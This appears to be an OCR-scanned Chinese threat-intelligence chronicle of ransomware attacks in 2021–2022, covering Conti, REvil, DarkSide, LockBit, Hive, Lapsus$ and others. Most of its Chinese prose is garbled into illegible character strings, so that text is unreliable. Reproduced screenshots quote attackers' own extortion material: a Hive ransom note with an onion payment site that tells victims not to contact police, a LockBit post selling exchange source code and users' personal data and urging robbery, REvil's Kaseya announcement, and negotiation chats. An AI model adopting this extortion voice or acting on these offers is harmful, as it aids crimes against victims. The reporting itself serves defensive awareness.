o RITFOTRRAOEBIFRT 4

o AEEEBFRA T EESE.

3. I ARG RER TR

s REEHRZHT, BHLBEEBSREARRS.

o REWNTAHGEHNAR, TTLRENEZRZEHSE, SIREMPNNBE—FTHT

o AEAEMIEFHEIRT, BelEMEsN. 22%REFANmOERAREROS,
139, 445imH, MRAEH, TEEXASERD, BREEREREHNEE.

+. BE/#EH

B 2017 & 5 A WannaCry 1R HAESKCEXRELRE, BRIEHMA TV EIG
HEAMEZERNKEz—, LREBRRERNTHAREFANIEGETFR. MERERZTNRE
AANTFRVHPRARNEEZETHE, MUFREMZRFEE. SRBNSEE, T
AL T R SRR TRV EREENRVES, FEBA S NS A d W RERHA
BEEAFTRHTHER, XMURHOVERAEENFLESNBRIRERNEZEKX,
VAR EEGRASIELE, RE@IEERER. MESMEEZRAZNME, XAKEMNT
WHBEHRAMINE,

BRI ZSN SRR M BB E R IT RV SHNEAREBMES BR, ARBERESATLSE

TR EI REFUAL, #&520 BlackBasta B/ Linux BRS5= T REFU BN R T AN h S TR K E M
ERRITERS.
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Bt : 2021 £F-2022 SEFI R BT =M

—. 2021 £ 1-12 BB EHZHEHHEH

1. FMEZMRBERBRRHTE

1B 15 H, BAEZINRRIPF (SEPA) KT, ZVMETFREIE#HRZKM Conti
T, BARENE TR, $REKEFERT 1.26B EiE. ERHREEL—1ARE, SEPA
MRS AT, BREWLL, SEPA MAFRTELEIARE. BRRHRTEENERE
E&XT T 4000 £ 5EE. @RS TR X094 FEHEE .

2. RREREINMEEL UL EERRMFIE, REFHEME
W

2B 13 H, XE&K. RBFEREAHNLZEIMNEAT UL (Underwriters Laboratories) #&
ZTHRRAERE, ZNGENERSSHBRTTINE, ASBRESBERERN XA T RS, 4
THLERERE—FEE, ZABKATRSE, FRERITEFNTEIE. UL FHRTIE
DERMTABBE RS 0] SRR R RN EIMLSE, EARIZEEESGHAEEAL
R, UL REAX MBS, MEMERTRE. B TREREFEAENE, ALIESE
myUL 2 s TP 22 R & B R FERATIRTS o

DT

€& ¢ @ O & & hitps/myul.com LR + 4 n@oe® =

@ Explore all of leom - Careers
myUL®

Due to a system outage, myUL® is unavailable.

Please contact CEC@ul.com if you have any questions, or call us at:
+1.877. ULHELPS Americas

+48.223 363.300 EMEA

+86.512.6808.6400 China

+852.2276.9898 Hong Kong

+886.2.7737.3168 Taiwan

+81.3.5293.6200 Japan

+82.2 20099100 Korea

A I\ O\

B ULASERHHNERER
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3. £/ E 3L CNA Financial {2 % 4000 FETES,
BELSRELR

38 21 H, Z=E{RRKEL CNA Financial E%| % 4 Phoenix CryptoLocker BY#1 R 4
i, FINET 15000 1&E, SBWEHH, 7T KL CNA RS, SFFASIEFRMH,
ZREXRET 1B 1750, SIBIMTA T B A S B FIRGAERN N R S0ERE, FHEMNIARL,
ENERHFSBZACNR TR RS HH 7T =X, CNA Financial 7 3 ARERE X
T 4000 AET (251ZARM), MNKRENERZGHNAR.

) PHOENIX-HELP.txt - Notepad

File Edit Format View Help
PHOENIX CRYPTOLOCKER

7 =N\
/ \
TLLTL AR S LB n MMM
J1L1 111174 AL
FLLLT L NNNANA /77777 \\\\\\
TTEN A\ // AR RN
/7117 // \\ WA

/17 XlZ 211N N4 A\
// | 221NN | A\
/. nabasa \

What happened? Your files are encrypted now!
Want your data back? Contact us!

https://t.me/ e X
PROONOp e@cock . 11

CBEGIEMINEZH “PHOENIX-HELP.txt" MI#HRER

4. Asteelflash B il 1% B & B B R IUER

4 A28, AERENBEFHIERS AT Asteelflash EZI T REvil BI R4 1k BIMIZE
Wi, ZEIKER LA 2400 FETHES, REvil RFRFEEIS(E Tor T TUE T KT
. ARMEZLLEHERMEZERE (RE[REZH. FLREE) MEERE (&
TRERHNBEFRBEREMITENRES) SAESZHFIAT,
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[PRESS RELEASE] Cyber Security Incident
Update

g 2, 3000

. Asteelflash AT KB FAE

5. Capcom BIREHREFEH

4B 15 8B, EMERFTER Capcom X7 BXEEEZHRNM G HREFER,
HA MR T BRMEAKEMNEHEN . BEREZURTR T T LEAMNAERE. 2020 £
11 B £48), BZEE{F Ragnar Locker i T ZM B ARHFHR A XM AT Capcom, BFHE
KA T EGME , ITHA Capcom EMME S MMM ARG TIESEIETM, XNEH
HIEEHESERM, Capcom XTEHEMENRLT(ARE | HF 15649 NAZE T #0E,

6. ERERFHLAHZE 5000 FXT ~mixitEEHEGN

4 A 20 H, Revil RRALRLXAER, NETERBRELCARI] TIABEK (Quanta
Computer), MBI T ERMZITER, ZFE 5000 F¥ET (WEARM 325 127T) B,
ZRERALERFRATAES A 1 B ‘B XEFEXH, SNESEREERLMERN
AR NE XA, BhSh, ZEA MR R IXB KRBT 5000 AETHES, BEXREE 4
A 27 BRIEREEIX L AR, BRI, ERMIABKES R EHITERN
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e

.| B e

| &

Happy Blog Search

Quanta Computer INC.

Quanta Computer Incocporated (TWSE: 2982) (Chinese: SERRN; pinyin: Coingdi Didanio) is 8 Taiwan based masufactures of
notebook camputers and other elactromic hardware. Jts customens inciade Apple Inc.. Dedl. Hewbett-Packard [nc., Aliemearn
Amazon coe, Cisco, Pufitsu, Cericom, Lenove, LG, Maxdata, Microsoft, MPC, BlackBerry Ltd, Sharp Corporstion, Sieasens AG,
Soay, Sun Microsystems, Toskiba, Verizon Wireless, and Vizio,

Prodocts:

Apple Watch

,\;:;Zt Machook Alr
ke Machook Pro

l“ skPad Zbom

In ceder not to wait for the upcoming \:c-c prosentations, today we, the REVE groap, will peovide data oa the op m....:n:-\.c‘.«
% Quanta a Jot of thme has beens devote

Bt i coes ot cure about the et of s customens and employwes, thereby allowis

rguantition of confidestial dewnings and gigabntes of persooal data with several major

We tecommend that Apple by back the available data by May o

. REvil &Y E REICA B RNEHE

7. XEERRERERETHER

4 B 268, EERMEFLILTFXERDR, HITENWEEZHIR,

O¥: % =

"

— P HHRIEES

RRMILFEAFRE TREREACERERNNBREIE, =5 SHEFAKIZX

BRIE, RIFETIARIEPEINES. |
FEYEE.
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| understand your instructions and that you need to go back with more information. Each day and hour we are getting closer.

May 6, 9:18 pm

However | am curious what you are referencing with this FBIO1 and FBIO2 user info? We dont have those users on our domain

RS

We have provided you with requirements above. Previously we provided you with a lot of answers to your questions. Now we are

waiting for your actions until Monday.

May 5, 9:56 p

Working on it. Will check back to report updates

May 6, 10:46 pm

Any updates?

May 8, 1:05 pm

May 10, 3:51 pm

Our final proposal is an offer to pay $100,000 to prevent the release of the stolen data. If this offer is not acceptable, then it

seems our conversation is complete. | think we both understand the consequences of not reaching an agreement. We are OK
with that outcome.

May 10, 4:57 pm

This is unacceptable from our side. Follow our web-site at midnight.

May 10, 5:08 prr

L RERMESEITNIENREEE

8. XERAM MM EEZEHEHRRGIE

58 7H, 2ERANMHEIEIZER Colonial Pipeline AT A9 T\ i5#| & Z& 3|
B4R DarkSide FIMZEITE, 12 14SFE Colonial Pipeline A S#RIBH T T REBAE T EH T
RIXHSNEERFEZE. Ma, 122 8EAFTIZEMHR DarkSide MABEHHLAZ AT 500
FETHES, WA EFmILKGA 5500 EENE BRSNS T E IR,

- DarkSide B4R & # 9= B
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9. kF M4 E L Brenntag [@ DarkSide EE X7 440
I ETEE

5 B¥), ©ERMERNLF S5/ Brenntag IFSEH#E 2 7 DarkSide B4R 89 M4
Wik, DarkSide ARFEMRAARMEHAETIE Y 15068 9&dE, FHEIE T — MR
BUE, HYREE 7T HNHESIRNER MR FELEXHNREEE., 17 B NER T
EhnmaEdE, F A IR /A FEE, Brenntag #%18 [m) DarkSide AR A 7 i{E 440
RETHLFE TS,

DarkSide Leaks

Brenntag - More then 150 GB of sensitive data

Included:

ave downloaded a lot of your private data, you can see examples below. If you need more proofs, we are ready to provide you

The data is preloaded and will be automatically published in our blog if you do not contact us.

After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months.

- DarkSide #1 R ARG ERFANEIRMEE TUE

10. BREEFFRSGE 1.29 {ZTt8#ER

58 14 H, BREEERSINGTE (HSE) EAER "EXIRVRMRT, £EES
RERFEZE ZHR, ZRERBFRENFEELLEHRAN, WEHBEEKR HSE XfF
19,999,000 %7t (£ 1.291Z7t) s, BN EXRAHP— N REIAFZEENEUE,
HSE f/E %A 7 Hit BV R 5.

11. €REARAERRINIEIBS mBEX{ 1100 FET

5A31H, £kEARRMINLTE IBS EEELKREPFR, %2235 30 HERT “F
HLAMNMEIE ZEMPREBFEEEDBIRAFTHE, XEFHTREFSRES
M FOBAR S, FSEIBS NTFMER—EARARXBEMT] BIELFE. GF
ITAIE, AIEBTNERGE, SRARXMT 1100 AEE.
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12. XEZRBAEE Sol Oriens & REvil 1R H4H T

6 B¥), AIHEIKE, XEEIR (DOF) NEHSERZEZER (NNSA) A1EFRZ
HAR G Sol Oriens A EEE| 7 REvil BRI, 122 SMRE T EHENIEPER. SEIRED.
MEMARAEFHNRALDAREXAMNIE . REvil FUKEARSER G EHRNEE K
TEAVSHEMRIER, fINRIHSRE S, BIEMEXH. TREXHMNIAR
=%, Sols Oriens HIESK Y H7E 2021 £ 5 FEE| T MRS, THELMEBNOEIE, B
RIAENAERITH.

13. EHEF7 Kaseya i REvil #1ZF &R R $E B &5

7 B 2 B, REvil B RFAKAEERBNEIR R R LA T —KBR, FRMAIAE
7 MSP 127 Kaseya, HRIFEH 100 ANMREZEENRRGHIT M., ZHEIKEK Kaseya
X ft 7000 FETH BTC, UAFBEREEZ L NAARMETIE. ZASHE7TH 2 BEAAER,
FIANE T IR RIS IR 4 T B Kaseya VSA BERIINTr, X7 H SaaS fRS=s, FFEIT
BEFXI VSA RS =. IBREANADMT, ZBRREBIKEF AT Kaseya VSA BRE=H
CVE-2021-30116 FHmEH#TIEH.

Happy Blog KASEYA ATTACK INFO X ‘+ — O e
€)= ¢ o I o/ 05t5/400 B % 0+ =
Happy Blog Blog search Search

KASEYA ATTACK INFO

On Friday (02.07.2021) we launched an attack on MSP providers. More than a million systems were infected. If anyone wants to
negotiate about universal decryptor - our price is 70 000 000$% in BTC and we will publish publicly decryptor that decrypts files
of all victims, so everyone will be able to recover from attack in less than an hour. If you are interested in such deal - contact us
using victims "readme” file instructions.

RSS Feed

" Revil HAERENEEHLZHAVES
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14. ESi#E ™ Coop 7 Kaseya BRIk /5 5% 800 %
RIIE

7B 3 H, EREMIRE, WK ANES BT Z— CoopKaseya ZEEHAER,
INE—NREFHEBRRGIE, FibkE 7 £EE 800 K[ 1/E. Coop MAEARRT 7
A2 BBRAABLEEEN G, —RZEERBATEEEEXRA, SFEKREMEH
CEWMERNPEN I RGE T T . t5h, Coop RHE M Kesaya &, F b1 — ik
HREEER T IZR M ZE R m,

15. FEEHZEHHG BRZEEDFEAIZIAEESHMA
112GB &R ¥R

8RR 7HER M BEERT ASTARZR FERHRIGRE, EXBNE
F‘?,JLFEE s, EARTGH BT AN ERNTRS . HERTHTZEANS

®1781, BREBEMBMHPREFEFH LEL BEMHEIRER, ESI5ME The Record 1k
iE, BRRMABIK RansomEXX SEACKRIHE 137, 1ZEKFEFRIE 11268 f9%dE, HH a1
%A Intel. AMD F1 American Megatrends FIHLZB{E, IAREREBHIN . ZAREMHEL
FAHEAR, BREREERXAES.

- Contact x s - (m]

c 0 v =

GIGABYTE

We will speak with the company OFFICIAL REPRESENTATIVE only.

You must have the right to act on behalf of this company; in any other case, the ransom amount will be RAISED.
If you don't understand what is going on DON‘T CONTACT US

Read this message TWICE.

Don't contact us via:

* YAHOO.COM.TW -
* GMAIL.COM ( v )

You only waste our time and MONEY of your company.

You need to understand that this information is for AUTHORIZED persons only.
All these measures are essential for the FULL DEAL CONFIDENTIALITY of our deal.
You can reach this page by direct link ONLY.

If we now speak with the right person, please read this information with MAXIMUM attention.

It will be useful if you contact a reliable person from the IT dept. Thanks to it, we will avoid ANY misunderstandings.
All your data was ENCRYPTED with the most reliable algorithms.

Dlaaca dn nat tn tn MODIEV nr RENIAME anv of tha ancnimntad filac: thic actinne will racult in sarinuc fila cycfila £

. RansomEXX #1 R AKER M EZ ISR EK
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16. LockBit2.0 #1 &Rk H B HIR#HRE

8 A 11 H, £KITEFHELKRFEESTXKE LockBit BRI ARA KK E, H 2500
BETARATIMEEKEMTEVIERE, WARFEEBHNEIE, =& LockBit IR M
f9 2.0 BRA. LockBit HfkFR=, MMRKEFEARREIAF 5000 HET (AF 321ZARM)
B4, BEIETTEY 6TB #IE/AZ TAX. LockBit FI{kXTHMNEFR LockBit 2.0 AR AZ 457
MERRAE R, TAEART 20 SehHRTE MM ZEEA RS TE 100 GB HIEUE.

LOC - LEAKED DATA 11) CONDITIONS FOR PARTNERS AND CONTACTS >

UNTIL FILES

0D 06:16:22

PUBLICATION

11 Aug, 2021 17:30:00

SL Y accenture.com
These people are beyond privacy and security. | really hope that their services are better than what | sow as
an insider. I you're interested in buying some databases reach us

ALL AVAILABLE DATA WILL BE PUBLISHED !

© LockBit #) ZER iz & 18 W v S 7= B HE it BE R T A

17. BUHMMAOESL D EREERR M, SOXELAR
B o By

9 B, BOMMARR AR FBRS 5 MR B 2 — Covisian 2 S E P S5Rg E M
380 GSS BRI T, HAMD T RgkEk, MEAMIFIEXE A EEAIFL il
NELHE. —f7RANBHEEALRR, ZEEWHYEYFOARSEREERmIF
KIEEBEZER MasMovil, BEETHHKAT . EREMERAEM W, B2 3] Covisian
—HRIAEAFRR, WA EHEE B Conti IR HHIKZTF.
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18. BEIEEXGFREAEIBRRGE

10 B¥), AHEZEEIREELE/RER (Weir Group) IETH 9 AN EZNHER
B E. ZHREGCSTELR. FIEMTIREFRN, XE 9 BN SEEZEEAREKAZHM
WNFEHA 5000 AREE. BRAEKRT | HFRNELERGE, SEMIE THRERRK, FHX
BT BF NNRIPEE—XBIFRBRXE T 2%, $ilEREMXAOS TR
% (ERPFI LR AREF."

19. XERRELEFENI/IBEZBRRGRE

10 B 9 B, #BRELHBA A (Ferrara) ASEAFANEESEARBAZ— HED B
BJLEE RIS R R AT, 12NN — LR SE#H# T 7 IR, BFRADEE AR S XM
7RSS M N RRGER TG THIINRE NEEEAZ T Y BT —RER LI AIHE
KETTRIFELES, FARNGETEEREEX M EEFFNEEHMAAERESEX
AR ST R AR T BB .

20. XEFRZE BEAEBHERRMAIE

10 B 18 H, ZERABMNBEEFZ—WETR #E&EHA (Sinclair Broadcast Group)
EMERIR ZAS T LEAER SR RARE . WEB XA T FRELWIHER B RRS,
R TRT AR, ST BN K IEASSEE MAY LS T, E 53R D
RS, T BEASNFEFEZRSFRIEREE, BN AHIBEIE Gmail HRFEMK 5K
B AR LR ETEIZ R, FHEH PowerPoint SEAETE S B ARG HI1E.

21. MZTEBIEEIRHHERH % 6000 FXTT

10 B 25 B, EEARAFHSAHEERFENFRIIGHER (Eberspaecher Group) F
™, ZATIRE T MERE, W7 IZASNEERARMRE. NMEEHET BRI
FEXNRIREMIHRIIR. A7 LGNS ARMINBERE, 1ZAT XA 7B M
MRS, —MREEROEARNICAR G RR, MAERT —/N8 4 BlackMatter A%
R, ZBRHETHRREARS (RaaS) #ER.

22. Grief IR HHAKRE T XEBEESI.IHS

10 BJK, Crief $IRRHANKEREEHIA T REEEF IS (NRABITTENFRS,
FREERME T HIBMEE WREARZRE B MZEIKAmEEERXHH, ER
BEFE R NRA TEN R G A — D X WAR . ZARKRVBIL ZHEB 7 &9 Dridex £R17
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AEFRLE, REZHOSHRREERE A Bittaymer BHRRABEHZEENITENME .

& o C e owor A ¢ O . &

(fhome.nra.org/

\_—

Details_

& : Grief 1R EA-FCE NRA HINE| “HINHHLAZH &h

23. NZEBTHAH AT BTC-Alpha & Lockbit #1 & E 4 &7

11 B 1 H, MEEMRXFF BTC-Alpha EZ| 7T Lockbit B1RIRMHINE . BRIAFHIK
TEHIEFTH A S B uEFR, 2125 T BTC-Alpha 89438, MR BTC-AlphaZE 12 B 1 H=
BE B X4, Lockbit HAFSMEGRMNEIE. BXAMEXHNERR, BRIMER
SHE "RE2UEN, TN ZMEENEENTERRKE. R, AEMMERSE
MEAERERE, ASELMNERPETIHEVIAEIGMNE T 10 X, BTC-Alpha B9€
BANINA, —RESTFMBEH ARG AR,
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=N | FAKED DATA (OB L

AND CONTACTS

UNTIL FILES
13D 07:32:04
PUBLICATION

01 Dec, 2021 05:04:00

btc-alpha.com

btc-apha.com is a new generation European cryptocurrency
exchange. We provide services for trustful purchase, sale and transfer
of your digital assets. Our registered office is 53 Whateleys Drive,
Kenilworth, Warwickshire, United Kingdom, CV8 2GY Auction for
complete source codes of cryptocurrency exchange BTC-Alpha single-
handedly at your service. The brilliant source code has no
vulnerabilities, access to the servers was obtained thanks to an
insider who still works for the company. Thanks to the insider, attacks
will continue in the future, and the cryptocurrency of exchange users
will be stolen. LockBit has been operating since 2019 and we value
our reputation, so we guarantee that the source codes can be sold
into the hands of anyone. With these source codes you can develop
new exploits to attack this exchange, but you have very little time
because we will empty its wallets as soon as an insider gives the go-
ahead, start your own cryptocurrency exchange or start a fraudulent
exchange, the price of the source code is 100 bitcoins, the price is not
final and negotiable, the source code will be sold to the one who
offers the highest price. If the source code and base do not interest
anyone, all this data will be published for free. The source code and
the base may be sold separately. The source code comes with a
complete database of all users and their cryptocurrency balances.
Database includes 362 thousands users, including their e-mail, name,
address, city, state, country, zip code, passport number, phone
number, password hash, full set of data for AML/KYC, wallet data,
where the deposit was made and which wallets were used to
withdraw cryptocurrencies and their amounts. Among the user data
we found some interesting government officials. The data of all
exchange employees. You can use this data to tip off robberies,
extortion, and to poach these employees for other jobs. To buy the
source code, contact LockBitSupp via Tox or Jabber.

ALL AVAILABLE DATA WILL BE PUBLISHED !

& : Lockbit B1RIR M HIk A HIZE A LM R MG R AR ESER

24. BRNSEELERBERL, BEEE 24 {LExxX
Mg

11 B 8 H, BUNERAAHETEE 7~ RTER MediaMarkt REME R EARKIL, AT
MERSHM TIEEEZB RIS, MESEXATRE T ZgE, MHILERHELE, @il
HEXZEYIM, K BleepingComputer ELHIA Hive BRARARNABRNENEGE
F. ZALRRNER MediaMarkt ZfF 24 {ZEXTTHEFTBS, FEXEE 5000 A%y, ¥
LRI R R XA,

34



' —— xt - Notepad2 [E=8 Eol =%~
File Edit View Settings 2
DE@d| v ek 2aaa g

1Your network has been breached and all data were encrypted.

2Personal data, financial reports and important documents are ready to disclose.

3

4To decrypt all the data and to prevent exfiltrated files to be disclosed at

shttp://hiveleak .onion/

6you will need to purchase our decryption software.

7

sPlease contact our sales department at:

9
10 http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd. onion/

11
12 Login:
13 Password:

14

15To get an access to .onion websites download and install Tor Browser at:

16 https://www. torproject.org/ (Tor Browser is not related to us)

17

18

19Follow the guidelines below to avoid losing your data:

20

21 - Do not modify, rename or delete *.key. files. Your data will be

22 undecryptable.

23 - Do not modify or rename encrypted files. You will Tlose them.

24 - Do not report to the Police, FBI, etc. They don't care about your business.
25 They simply won't allow you to pay. As a result you will lose everything.
26 - Do not hire a recovery company. They can't decrypt without the key.

27 They also don't care about your business. They believe that they are

28 good negotiators, but it is not. They usually fail. So speak for yourself.
29 - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
30

< 1 | »

Ln1:30 Coll Sel0 133KB ANSI CR+LF INS Default Text

B MEERENSRE

25. RIRABRENER, MEAEEBE

12 B 10 B, RRFKEERHAERR, KRR ENTDRSHB/ER 7T RMBEEHAN
12, SBENMEEEHRE. RKRRKAARKEHS,, FENEREITABENLZESRE
BREm., BELXE NETREEFHTHRMEBNRZTHR Snatch, EMXTMHERRT,
FAEEMIE EFH TR RKRERIBEERDE. BT HBEREXHNEREEE, 1ZAR7T
W T ATIBEY 35.9 MB Xff.
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¥snatch

Vo L VO

Volvo Car
oI
Corporation

he frst Voo car rolled off the Gothenburg producten line i

Proof Pack Files

& : Snatch LR H M4 £ 5 HIRRIARE RN EBERIRRE

26. JbEARBRRSHRE Superior EiB¥ R H

12 B 12 B, JtERBFEMERNF Superior 3B T BIRRA T . Superior B E R 5
MNBARFTZ%, URHIEXRNMEK. MBS, Superior KFxE BRI, ATELEXRBIERR
PEG, BRSRRENAIEEMEENTN, BEESTVHANELE A —RIFAEL
B, #—FTHEITCEMRKER.

27. ANEERE: Kronos BZEERHBE

12 B 13 B, £RRANFTHNERRSEAME Kronos EXBRRMABE, FFAMA
TERMER, i, ST 2 SWEUREEME  XRMELT PR T REENER.
Kronos 12T —RIIMMRTTR, BRERIMNBEEZA . HFMEE. TANMIHN. #HE
E, KMREE. AFHBB. NRBIFAET. ZATBRWBLERZMNE A EREMTTERK
WRIRFEEE, BT TRAIE, EENE, MEHMMMZARREZMNBERRE.

28. IT R 7 Inetum & Blackcat #1 &ZE {41

12 BT4E, AE IT RE®E Inetum Group BEIRKHT, BEARPREHATRAK
BRI, REm T EAENED LS, BEASSIZFREITMRIPEURETE, K HIEE T
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. BN ERERAREEVD S RREARL S, (EXERY) LeMaglt A E RIEFE LRI
TAZFRENSFERERERLM Blackcat BRI A

—. 2022 FF£ 1-7 BB RZBHHEN

1. HEFRAEEER Impresa & Lapsus$E H 4B T

1B 2A, BEFRANEEAT Impresa EZ| Lapsus$BA MBI R L. RIS
B2 Impresa B T AIM UG Expresso. IRBMEBIME SIC, ZEMHZXT Impresa izE EFE
ZHRSHEEMIZE, XSBZEREEMNBNIE SIC FER Expresso AR E B HHT.
Lapsus$HRFEMREN RN BT E L FEX Impresa MIPFAMUAT %, MEXERKS T Impresa
B9 I T 38 o) 2 AR 2511 7 B9 15 Ta) A BR o

LAPSUSS

- 0OS DADOS SERAO VAZADOS CASO O VALOR
NECESSARIO NAO FOR PAGO. ESTAMOS COM ACESSO NOS PAINEIS DE CLOUD (AWS),

ENTRE OUTROS TIPOS DE DISPOSITIVOS. O CONTATO
PARA O RESGATE ESTA ABAIXO.

CONTATE-NOS:

https: /t.me
Bctemplar.com

. Lapsus$ZHAR L B R{Z

2. FRMBH AN RS IXE T EBRBE

18 21H, R, FHHHNESILE T (Delta Electronics) &K A ATMRZE| —ZEER
BT, WAWES Conti IRMHRANKE X, RESEABFAEAEMBHHREIMEZX
IDEFRG, AMBILECRE—OABEHRERIAR, RELEEREILHEF 1500 Gk
SE3F0 12000 AITENEHBEHENE, IEMEE LA 2080, WEHEBEERIFHESE
1500 ATt (99540 AT AR ).
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3. REMARTHATHEEKEAGME MU ILRT T
NERERSE

1 B 24 H, #& Ars Technica 1R1E, ABTHMNERER®, MIIASHRRGEE TIZE
EESRBRGHNG, REEARTFHAGTHLX A RERESELEEBET HTEANE
AT, AR EZE ., — B Cyber Partisans FY2E L7 Telegram E 3R, “VEH ‘Peklo’
MR —ERS, F{13T BelzhD MU AE D IRSS 28 . BUIBEM TR 7 InE, DR
MBEIRZARINIETT. EREWHIR.” ZHERN—BRREMEFETIE, Peklo MEEERIH
W ELAMBFEEN LS, BNREBEETHBNEE, EREFNBURIE, FHEIE®R
THERFANBET T, FIREMEN R Z#THH.

4. REDUHEONE O RMREE, MRTEESR

1829 HiE, AEZBRRMANIE, MTRE=FEBHTRFAERT. iHRREE
TRLAEONRRRIMEEXE, SELMNE 2848, E20F 7 RhEHEER
FREBINER, TERES. XEMERETHTAREBFNENEE, ZEIMA9/AS)LEIE
MFZREETRHTFE., BEIRNZ, WABONATEREEBRERE, 2EEFRH
MFFLEERNER THTHN. HIEE R EEBNEELLXKT 78, FEILtE 7 F£is.

5. Byt Swissport = RSN SEEERHGIE

2B 3R L6A HWLERTSHIRESERZAS (Swissport International Ltd.) E#%E
B, AXBENETIZASSDOECE T £iigHE NASEEERTETN, S
ZimMMIIIEIR . KE/S BlackCat (ALPHV)E1RIRHFLAHLR A 7 M Swissport BIKFHI—/NEBD
X, HIEMETAESFRER. A SESRIUEKIRENEMEE . BlackCat
ERMIIERBEEAN 1.6TB A SRk HELSHBAEIR.
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FAMILY SEEs
NAME MIDDLE NAME FIRST NAME PASSPORT | NATIONALITY | MUSLIM /
NON MUSLIM
RAFIQUE L INDIAN MUSLIM
Shoyeb MD N INDIAN MUSLIM
RONALD M INDIAN NCN MUSLIM
AHMED H INDIAN MUSLIM
WAQAR L INDIAN MuUsSLIM
SHARUKH INDIAN MUSLIM
DOLWIN INDIAN NON MUSLIM
ARBIND INDIAN NON MUSLIM

& : BlackCat (ALPHV)Eh R 4R 142040 % 75 K95ttt 55 DL

6. FfFiA 71000 & i3 TR HGHE

2 A 26 H,

A 1 B Lapsus$k A EREFEEMEEF
R, MREFEAES

ZE (FHBEWIR) BLEE RELAEEAMEING, NBNEEHS
%, SHERREAR Lapsus$TEIERF ERIAT IR EH AR FREHERREHE. 3
KBY Windows., MacOS XK Linux AR ARIEZN 7K A
Lapsus$SAFRFEMEURZEERHIAMBEESE. 38 2 HiX

TEMEEACMM S, HIBP IESE, REGRHN 7 HEMRTLESCEEWTEME

GANVIDIA.  Products

7. TRER KB IN5h¥E Rompetrol & R ZBE ) Hive Fl{k#1 %

RECR B INIMEG AR &5 Rompetrol % Hive 81 REFINTE, BEREHEI{K Hive

3H6H,

Solutions Industries For You

Security Notice: NVIDIA Response to Security Incident -
March 2022

Updated 03/01/2022 02:32 PM

ook

On FeSruary 23, 2002, NVIDIA became aace of a cybersecurity incident vbvich Impacted 1T resources. Shortly after discovering the Incident, vae
further hardened our netyark, engaged cybersecurity Incident response eaperts, and notified Lo+ enforcement

V6 have 00 evidenco of rasiomurare betng dopl
porare ThAL e threat actor took envplogwe
toam B vorking to analyze that formation. &L employe
business or our abilicy 0 serve oer customers a5 a result of the Inckdent,

Security 15 & CONMmOUs process that vae Lake very seriously at NVIDIA - and vae et In the protection and quality of our code and products dally

Wit the i ity page to

B BEREARARLEEEIHE
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Z 5k Rompetrol X ff 200 BETEAES, SNEIELIRERLSITENINEEHETEL
o IZATIHRERD IT RESZEIFmW, BFEEN. App &, BRI GEFHARESIRFHF
Ri#AFTHf.

........

4h-Q
During this night, Rompetrol faced a complex cyber attack.

We are constantly connected with Directoratul National de Securitate Cibernetica - DNSC
and together we are making every effort to resolve the situation.

For data protection, the company has temporarily stopped the operation of the Fill&Go
websites and services, both for fleet and for individuals.

The activity of the Rompetrol gas stations is operated normally, customers having the
option of payment in cash or by bank card at their disposal.

We mention that the operational activity of the Petromidia refinery is not affected.

we apologize for the inconvenience.

During this night, Rompetrol faced a complex cyberattack. We are in constant contact with
the National Directorate of Cyber Security (DNSC) and fully involved to resolve the
situation.

To protect the data, the company has temporarily suspended the operation of the websites
and the Fill&Go service, both for the fleets and for the private customers. The activity of
Rompetrol gas stations is carried out normally, the customers having at their disposal the
option of payment in cash or by bank card.

Also, the operational activity of the Petromidia refinery is not affected.

We apologize for the inconvenience.

: Rompetrol X fHIAE

8. —EEERIE 190G Y REIEME

3 7H, ZEETEREERAL Lapsus$I T SEAEN ZEIEINT . REFR, %
HFEBHE 190GB, WIRAA=NELEMH, BT RS R WEHINT TR, ZBRAHRR, M
BEEUEDIE  BTERREEN=2 TrustZone MEHRZENENZEE/NER (TA) BB
RS (BIENREINZR . Z#HEINE. HaiEs) . B EYRIEEEEEL. FTAR=
BEENSISNEEFEREE. ZEXEARRT | " BIREEENGFESKLEATRAE
FREXNRERE. KMEME, RIEET 2R %, RERNOL T, R
MEESR—LS Galaxy ®EBITIEXAERL, EARAEERIEESESIRAIHNNAGE,”
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Get ready!!l! Samsung data coming today.

*STOP ASKING US ABOUT NVIDIA, GIVE UE TIME*
https.//t.me/saudechat el K@

J 248 Comments >

SAMSUNG LEAK IS HERE!

Lapsus $S$Z B S = i A BIR R ERBER
9. MEFEEE Lapsus$S AR

3 8 22 H, MIEASNESE, BRAL Lapsus$ths TiZA T RAENBRIFER. It
B, Lapsus$EFRAIIAIR T MBI E S, H3kE 7 Bing. Cortana FIH ML B AYERD,
B, ZRRARKH T —H 9gb 7zip EHEBHFTF XM, HPEE T MIERE TR
250 ZAEB MRERAD, HEALIR, EXPREFNE-XGRAF 3768, WMikFkr, fth
IEFIEZE Lapsus$EIR# R RBTHRNZRHAE Azure DevOps JRRHDEF 5 BEIRAVTE

?}'T'
T o

“N-B-R-N-N-L
2 g
3 ¥ 2 3 &

E|am o
RV

e

2ALLL

2

4
3

I

nplkwce_Ergincerng

. Lapsus$ittEE B9 54%K 8 Azure DevOps 1k 2 FEE-A Bl

10. T AT RIELZEMER L HARAE

4 B 24 B, BREAK Stormous EMMIRANERERRRFER T A KA SRS
7%, FFHIET 161GB #uE. WHEKMMNGRHNBIRERFAMERBEMIE LHE, BRI
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& 1.65 LLFH (L937E 64,000 &T). I AT RASEIEHRBA—H A RHIES,
NERRMEZE T RS, BRENRGTATRBEE. A HAEES, SHmESEXT.
mAHEER (admin). BT EBAHFIERBHIAR M. AE)RAFSAS zip XAF AR H AR
RBURE R

Coca-Cola

We hacked some of the company’s servers and passed a large amount of dala inside
will win and we will win. You will also contact us! We will explain more Good deal, we
data you want! Click on the picture to contact us or via our e-mail

BTC : 1,6467000
Price (USD) : 64,396,67
Site : www.coca-cola.com

Transfer : Cryptocurrency
Size : (161G)

scan : Click here

Date: 04/24/2022

& : Stormous Bk e it 25 ) ik & SE ST ER 9 453

11. $HEZHFHLFERE WEAXT “BFE” BEIR

4B 29H, WE/ASE Yanluowang” (A% ) BRI MR 2 HEZ TE . “Yanluowang”
PEBHREHRIAT 2021 F£8 B, RYFEABIMNBFEZHTRIDER, MEAXX
Fl RSA+RC4 BRI AT N, HEBARILENY. #RFRSHINGE, FIEMRSHM
‘#EIE@%%&%F‘ BFHR AR S . XPERs. AIESCAMIRRF. iréﬁ%ia%ﬁqf EFH s
FEHIRSF. BT “Yanluowang” BRI GAXHINBEREFANFERE, AiFELE

